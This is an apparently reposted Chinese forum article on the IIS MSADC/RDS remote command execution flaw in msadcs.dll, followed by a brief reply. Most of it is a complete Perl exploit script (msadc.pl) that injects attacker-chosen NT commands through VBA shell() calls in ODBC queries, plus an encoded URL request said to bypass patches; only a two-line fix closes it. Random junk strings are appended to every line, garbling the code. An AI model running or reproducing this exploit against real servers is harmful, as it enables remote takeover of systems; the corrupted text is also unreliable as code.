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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Im\ ~x~{  
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涉及程序: f|M^UHt8*  
Microsoft NT server (*P`  
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描述: LdH1sHy*d`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3o[(pfcU  
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详细: wW p7N  
如果你没有时间读详细内容的话,就删除: W{.:Cf9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $*G3'G2'iS  
有关的安全问题就没有了。 p0 X%^A,4  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 sZCK?  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 u-|%K.A  
关于利用ODBC远程漏洞的描述,请参看: yQUrHxm  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Zs79,*o+0M  
~dEo^vJD  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  mjP  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |Vqm1.1/Zv  
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这里不再论述。 "hI"4xSg  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T@.+bD  
&Pm@+ML*x  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset P$Vh{]4i{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! fsPNxy"_  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" gh*k\0  
]gVA6B?&9  
#!perl hG.}>(VV  
# <Tjhj *  
# MSADC/RDS 'usage' (aka exploit) script *5BVL_:~J  
# jd ;)8^7K  
# by rain.forest.puppy Qc-W2%  
# }wn|2K'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?m2FN< S  
# beta test and find errors! nw- -  
4cSs=|m?+  
use Socket; use Getopt::Std; !PGCoI  
getopts("e:vd:h:XR", \%args); { CR`~)v&  
,"`3N2!Y}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \mGb|aF8  
 *\xRNgEQ  
if (!defined $args{h} && !defined $args{R}) { ]~dB| WB  
print qq~ ,&4 [`d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 8 A]8yX =  
-h <host> = host you want to scan (ip or domain) 0'r}]Mws  
-d <seconds> = delay between calls, default 1 second >S`=~4  
-X = dump Index Server path table, if available @HMH>;haE  
-v = verbose iUh7eR9  
-e = external dictionary file for step 5 D9NRM;v  
 +qj Z;5(  
Or a -R will resume a command session *!"T^4DEg  
> `eo0  
~; exit;} ufR>*)_+  
ag:<%\2c  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; uc!6?+0h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,B/TqPP  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} |tI{MztJ"c  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); B&X)bGx8  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} J+ :3== ,  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6Zw$F3 <  
u;^H=7R  
if (!defined $args{R}){ $ret = &has_msadc; [= E=H*j  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} vFJ4`Gjw(  
HI D6h!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  8q9 ^  
. "cmd /c "; w/o8R3 F  
$in=<STDIN>; chomp $in; lmoYQFkYP  
$command="cmd /c " . $in ; |AvsT{2  
~!TrC <ft  
if (defined $args{R}) {&load; exit;} ._x"b5C  
: c iwh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -M]/Xv]  
&try_btcustmr; iWW!'u$+I`  
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print "\nStep 2: Trying to make our own DSN..."; ;_< Yzl  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 502(CO>  
5ip ZdQ^  
print "\nStep 3: Trying known DSNs..."; ?cz7s28a  
&known_dsn; 6@^ ?dQ  
u];\v%b  
print "\nStep 4: Trying known .mdbs..."; kH0kf-4\  
&known_mdb; X J]+F  
2i6P<&@  
if (defined $args{e}){ ^v;8 (eF  
print "\nStep 5: Trying dictionary of DSN names..."; Gv)*[7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } T`v  
hZ<FCY,/?  
print "Sorry Charley...maybe next time?\n"; %:l\Vhhz  
exit; C&d,|e "\  
,bzgjw+R5  
############################################################################## 0[g5[?Vy  
i0x[w>\-  
sub sendraw { # ripped and modded from whisker UeB St.  
sleep($delay); # it's a DoS on the server! At least on mine... CD?b.Cxai  
my ($pstr)=@_; 6S%KUFB+e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  :5^5l  
die("Socket problems\n"); H9VdoxKo  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?5d[BV   
select(S); $|=1; {2g?+8L$Z  
print $pstr; my @in=<S>; S,+|A)\#  
select(STDOUT); close(S); }darXtZKkK  
return @in; |9CPT%A#  
} else { die("Can't connect...\n"); }} **9[e[(X  
K)`l > o1  
############################################################################## 8.`5"9Vh  
0R+<^6^l)  
sub make_header { # make the HTTP request I%{D5.du  
my $msadc=<<EOT g ?% ]()E  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 bb/A}< zD  
User-Agent: ACTIVEDATA m:;`mBOc3  
Host: $ip k lr1"q7  
Content-Length: $clen :VRQd}$Pi  
Connection: Keep-Alive bq5?fPBrq  
J0@#xw=+  
ADCClientVersion:01.06 ,tFLx#e#  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 A sf]sU..  
N':d T  
--!ADM!ROX!YOUR!WORLD! c&L|e$C]  
Content-Type: application/x-varg >?X(, c  
Content-Length: $reqlen F JxH{N6a  
.ddf'$6h  
EOT z{> )'A/  
; $msadc=~s/\n/\r\n/g; <e8Ux#x/  
return $msadc;} =p!Hl#  
5&U?\YNLa  
############################################################################## $>l65)(E\  
<M3&\  
sub make_req { # make the RDS request MIAC'_<-e  
my ($switch, $p1, $p2)=@_; gAGcbepX  
my $req=""; my $t1, $t2, $query, $dsn; <^A1.o< GN  
c30 kb  
if ($switch==1){ # this is the btcustmr.mdb query *zPz)3;  
$query="Select * from Customers where City=" . make_shell(); t+WUz#i"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5@Xy) z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} [ 3SbWwg  
^MZ9Zu_  
elsif ($switch==2){ # this is general make table query YQfQ[{kp  
$query="create table AZZ (B int, C varchar(10))"; ( v=Z$#l  
$dsn="$p1";} |Tl2r,(+R  
6x_D0j%^]  
elsif ($switch==3){ # this is general exploit table query !Ie={BpzbZ  
$query="select * from AZZ where C=" . make_shell(); SC0_ h(zb,  
$dsn="$p1";} xb(y15R\I  
iJ`v3PP  
elsif ($switch==4){ # attempt to hork file info from index server llBW*4'  
$query="select path from scope()"; :"oUnBY%  
$dsn="Provider=MSIDXS;";} tj!~7lo  
_ <pO<S  
elsif ($switch==5){ # bad query M*jn8OE  
$query="select"; 1QuR7p  
$dsn="$p1";} v|r#  
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$t1= make_unicode($query); +Xr87x;  
$t2= make_unicode($dsn); nR$Q~`  
$req = "\x02\x00\x03\x00"; 5./(n7d_  
$req.= "\x08\x00" . pack ("S1", length($t1)); Nj4^G ~_  
$req.= "\x00\x00" . $t1 ; PHn3f;I  
$req.= "\x08\x00" . pack ("S1", length($t2)); o{ \r1<D  
$req.= "\x00\x00" . $t2 ; KA0_uty/T  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; uQg&A`4  
return $req;} _"";SqVB  
IY9##&c3>  
############################################################################## ZNbb8v  
4^BHJOvs  
sub make_shell { # this makes the shell() statement NA8$G|.?  
return "'|shell(\"$command\")|'";} wn{DY v7B  
'St\$X  
############################################################################## 6~6*(s|]A  
6Yx/m  
sub make_unicode { # quick little function to convert to unicode {f)"F;]V  
my ($in)=@_; my $out; j%s:d(H`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Kkds^v6  
return $out;} rv97Wm+  
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############################################################################## -r"h [UV)  
iYxpIqWw  
sub rdo_success { # checks for RDO return success (this is kludge) 5PCKBevV  
my (@in) = @_; my $base=content_start(@in); +q3E>K9a  
if($in[$base]=~/multipart\/mixed/){ Wd_KZ}lX  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `~3y[j]kO  
return 0;} rw ou[QU  
sv?Lk4_  
############################################################################## js\|xfDxP  
/F6=iHK(l  
sub make_dsn { # this makes a DSN for us h/n&& J  
my @drives=("c","d","e","f"); >) PcK  
print "\nMaking DSN: "; ;O7<lF\7o  
foreach $drive (@drives) { [P23.`G~J  
print "$drive: "; RBzBR)@5   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . U: Q&sq8U  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" VlQaT7Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n~NOqvT <  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a5xp[TlXn.  
return 0 if $2 eq "404"; # not found/doesn't exist `[Xff24(eb  
if($2 eq "200") { A5> ,e|  
foreach $line (@results) { |cE 69UFB  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $>fMu   
} return 0;} ^h@1tFF  
: |?nz$  
############################################################################## WwM/M!98J  
Ui`Z>,0sFi  
sub verify_exists { RK`C31Ws  
my ($page)=@_; mxV0"$'Fm  
my @results=sendraw("GET $page HTTP/1.0\n\n"); KoNJ;YiKtN  
return $results[0];} -NyfW+T={  
*^&2L,w  
############################################################################## +8 AGs,  
9n${M:F  
sub try_btcustmr { sh%snLw  
my @drives=("c","d","e","f"); kW@,P.88  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qEoa%O  
?xuhN G@  
foreach $dir (@dirs) { J,k|_JO  
print "$dir -> "; # fun status so you can see progress }XiV$[xHd  
foreach $drive (@drives) { .UuCTH;6`  
print "$drive: "; # ditto u/BCl!`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; }vbs6u  
$reqlenlen=length( "$reqlen" ); s" jxj  
$clen= 206 + $reqlenlen + $reqlen; CcHf1 _CI  
sSMcF[]@2I  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q-fxs8+m|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ( o_lH2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !5P\5WF~Y  
_JjR= m  
############################################################################## O:Fnxp5@  
_8CE|<Cn  
sub odbc_error { m*MfGj(  
my (@in)=@_; my $base; / b_C9'S  
my $base = content_start(@in); (hn@+hc  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 6:(*u{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Iu`xe  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  S=o1k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S6r$n  
return $in[$base+4].$in[$base+5].$in[$base+6];} =hO0 @w  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HNRZ59Yyq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X;I;CZ={  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} sacaL4[_<  
F`$V H^%V  
############################################################################## $=iV)-  
.}>DEpc:n  
sub verbose { 9o]h}Xc  
my ($in)=@_; N{u4  
return if !$verbose; lIg;>|'Z5&  
print STDOUT "\n$in\n";} j~eYq  
pUs s_3  
############################################################################## xi.L?"^/!  
y-TS?5Dr]  
sub save { L`$MOdF{_  
my ($p1, $p2, $p3, $p4)=@_; ^nYS @  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ",c(cYVW  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cboue LEt  
close OUT;} H\\0V.}!  
]e'Ol$3U9=  
############################################################################## "?Eh_Dw  
s\6kXR  
sub load { .&AS-">Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; El~x$X*  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  G.3 qg%  
@p=<IN>; close(IN); DL5`A?/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 4|Dxyb>pS  
$target= inet_aton($ip) || die("inet_aton problems"); Z)6gh{B08  
print "Resuming to $ip ..."; ^gwVh~j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]}_@!F)  
if($p[1]==1) { {jX h/`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gF@51K  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5h9`lS2  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (=d%Bn$6b  
if (rdo_success(@results)){print "Success!\n";} <m"yPi3TY  
else { print "failed\n"; verbose(odbc_error(@results));}} MZGN,[~)6  
elsif ($p[1]==3){ !4 4)=xW  
if(run_query("$p[3]")){ c5?;^a[  
print "Success!\n";} else { print "failed\n"; }} p4 #U:_  
elsif ($p[1]==4){ x:`]uOp  
if(run_query($drvst . "$p[3]")){ sglYT!O  
print "Success!\n"; } else { print "failed\n"; }} W 2VH?-Gw  
exit;} QfuKpcT &  
d~](S<k  
############################################################################## M+X>!Os  
;&Q8xC2  
sub create_table { $d4^e&s  
my ($in)=@_; uP\?y(= "  
$reqlen=length( make_req(2,$in,"") ) - 28; }b-"[TDEF  
$reqlenlen=length( "$reqlen" ); N:j"W,8  
$clen= 206 + $reqlenlen + $reqlen; rzH*|B0g  
my @results=sendraw(make_header() . make_req(2,$in,"")); b]v.jgD  
return 1 if rdo_success(@results); /lKgaq.  
my $temp= odbc_error(@results); verbose($temp); ^mLZT*   
return 1 if $temp=~/Table 'AZZ' already exists/; ;Ocih<4k  
return 0;} N 4$!V}pp  
}[P1Va[!  
############################################################################## 8}3dwr;-  
c7mIwMhl~  
sub known_dsn { n&Q{ [E  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *Z! #6(G  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ozZW7dveU  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", C0o 0 l>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); g@!mV)c97  
 <StyO[  
foreach $dSn (@dsns) { G992{B  
print "."; C zKU;~D=B  
next if (!is_access("DSN=$dSn")); gVM9*3LH6  
if(create_table("DSN=$dSn")){ 0oI3Fb;E  
print "$dSn successful\n"; YGP.LR7  
if(run_query("DSN=$dSn")){ _&TA|Da  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %./vh=5)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} H]V@Q~?e  
{VBx;A3*I  
############################################################################## 3okh'P%+  
#9Z\jW6b  
sub is_access { 0?} ),8v>  
my ($in)=@_; -POV#1s  
$reqlen=length( make_req(5,$in,"") ) - 28; (9hCO-r  
$reqlenlen=length( "$reqlen" ); (0jT#&#  
$clen= 206 + $reqlenlen + $reqlen; D"^4X'6  
my @results=sendraw(make_header() . make_req(5,$in,"")); b4GD}kR  
my $temp= odbc_error(@results); %xtTh]s  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a?bSMt}  
return 0;} }W{rDc kv  
$2Y'[Dto\  
############################################################################## ^z #'o  
p._BG80  
sub run_query { "'us.t.  
my ($in)=@_; CV%AqJN  
$reqlen=length( make_req(3,$in,"") ) - 28; 1Zc1CUMG  
$reqlenlen=length( "$reqlen" ); t#tAvwFM8  
$clen= 206 + $reqlenlen + $reqlen; iR;Sd >)  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6/`$Y!.ub  
return 1 if rdo_success(@results); H79XP.TtE  
my $temp= odbc_error(@results); verbose($temp); >U\,(VB  
return 0;} gUf-1#g4\`  
^vXMX^*  
############################################################################## }gQ FWT  
Xx_ v>Jn!  
sub known_mdb { \ .+.VK  
my @drives=("c","d","e","f","g"); N|[P%WM3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Kh<xQ:eMy  
my $dir, $drive, $mdb; 4 G`7]<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ws"eF0,'Z  
 gBQK  
# this is sparse, because I don't know of many =e'b*KTL,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", GxWA=Xp^~G  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W]kh?+SZ  
"\\system32\\certmdb.mdb", FB {4& ;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vL"U=Q+/eY  
}oH A@o5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", '@)47]~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", <11pk  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", UxI0Of&:  
"\\cfusion\\cfapps\\security\\realm_.mdb", [MfKBlA  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", NF`WA-W8@  
"\\cfusion\\database\\cfexamples.mdb", H Myw:?  
"\\cfusion\\database\\cfsnippets.mdb", ?;!d5Xuu  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", UELni,$  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", asT:/z0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", o@TxDG  
"\\cfusion\\database\\smpolicy.mdb", H\7#$ HB  
"\\cfusion\\database\cypress.mdb", P@P(&{@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", et|QW;*L  
"\\website\\cgi-win\\dbsample.mdb", Fy!u xT-\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ws'OJ1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 'EFSr!+  
); #these are just K7 >Z)21  
foreach $drive (@drives) { E6(OEC%,  
foreach $dir (@dirs){ iXN"M` nhm  
foreach $mdb (@sysmdbs) { Lc ,te1  
print "."; S-{3'D[Nj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2_@vSwC  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !e?;f=1+E  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ EsR_J/:Qe  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `$j"nP F_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} u^H:z0  
JBa( O- T  
foreach $drive (@drives) { 1<#J[$V  
foreach $mdb (@mdbs) { #~J)?JL  
print "."; 4:\1S~WW  
if(create_table($drv . $drive . $dir . $mdb)){ ~e<l`rg#  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~IvAnwQ'  
if(run_query($drv . $drive . $dir . $mdb)){ iHy=92/Ww  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; rblEyCR  
} else { print "Something's borked. Use verbose next time\n"; }}}} &6%%_Lw$  
} 1 FTxbw@  
-QR&]U+  
############################################################################## =Q985)Y&  
U X)k;h  
sub hork_idx { %_xRS  
print "\nAttempting to dump Index Server tables...\n"; *B"p:F7J|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 90OSe{  
$reqlen=length( make_req(4,"","") ) - 28; t,#9i#q#  
$reqlenlen=length( "$reqlen" ); ycAQHY~n  
$clen= 206 + $reqlenlen + $reqlen; 2_lgy?OE`  
my @results=sendraw2(make_header() . make_req(4,"","")); ,-7w\%*  
if (rdo_success(@results)){ k(|D0%#b7  
my $max=@results; my $c; my %d; 69{^Vfd;Y  
for($c=19; $c<$max; $c++){ :wiQ^ea  
$results[$c]=~s/\x00//g; p9w<|ZQ]:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; llVm[7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; V_pWf5F  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; P,y*H_@k  
$d{"$1$2"}="";} UJ-IK|P.#  
foreach $c (keys %d){ print "$c\n"; } @, v'V!  
} else {print "Index server doesn't seem to be installed.\n"; }} {fXD@lhi  
ZuIr=`"j  
############################################################################## @]r,cPx0Y  
gMe)\5`\Y  
sub dsn_dict { PveY8[i  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); XO sPKq  
while(<IN>){ $j61IL3+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {+~}iF<%  
next if (!is_access("DSN=$dSn")); ;Z]i$Vi_r  
if(create_table("DSN=$dSn")){ TVVL1wZ  
print "$dSn successful\n"; 9\9:)q  
if(run_query("DSN=$dSn")){ w"Gci~]bXU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4/Ub%t -  
print "Something's borked. Use verbose next time\n";}}} -a:+ h\K  
print "\n"; close(IN);} o HqBNTyH  
EA.4 m3  
############################################################################## 1} 1.5[4d  
:o$k(X7a  
sub sendraw2 { # ripped and modded from whisker eSvS<\p  
sleep($delay); # it's a DoS on the server! At least on mine... dg[ &5D1Q  
my ($pstr)=@_; o'Q"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +3]1AJa  
die("Socket problems\n"); H_gY)m  
if(connect(S,pack "SnA4x8",2,80,$target)){ MVdX  
print "Connected. Getting data"; D:`b61sWi_  
open(OUT,">raw.out"); my @in; (]* Ro 8  
select(S); $|=1; print $pstr; ? &ie;t<7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +"1@ 6,M  
close(OUT); select(STDOUT); close(S); return @in; 13 `Or(>U  
} else { die("Can't connect...\n"); }} ?.1yNO*s  
y;zp*(}f$h  
############################################################################## zu8   
ykFm$ 0m+I  
sub content_start { # this will take in the server headers 'qR)f\em  
my (@in)=@_; my $c; c*o05pMS  
for ($c=1;$c<500;$c++) { 1?:/8l%V  
if($in[$c] =~/^\x0d\x0a/){ d/I,`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } aLZza"W  
else { return $c+1; }}} uE{r09^q\  
return -1;} # it should never get here actually ~qFuS933  
gaFOm9y.e  
############################################################################## ?N*m2rv  
Mr/;$O{  
sub funky { V~nqPh!Jc  
my (@in)=@_; my $error=odbc_error(@in); ^{f ^%)X  
if($error=~/ADO could not find the specified provider/){ h- )tWJ c  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7p"4rL  
exit;} '3B"@^]  
if($error=~/A Handler is required/){ ft |W  
print "\nServer has custom handler filters (they most likely are patched)\n"; alr'If@7  
exit;} .g Z1}2GF=  
if($error=~/specified Handler has denied Access/){ yU ?TdM\  
print "\nServer has custom handler filters (they most likely are patched)\n"; hnOo T? V  
exit;}} IRWVoCc9/\  
p7H0|>  
############################################################################## Sv&_LZ-"P  
Ife/:v  
sub has_msadc { D==C"}J  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 6ZvGD}/  
my $base=content_start(@results); v#/k`x\  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); l1_hD ,4  
return 0;} {lv@V*_Y0  
jU~q~e7Te  
######################## ,O`a_b]  
KK-}&N8  
)DR/Xu;b  
解决方案: <L!9as]w  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d@d\9*mn  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T?lp:~d  
msf%i!  
拿出来充数 哈哈
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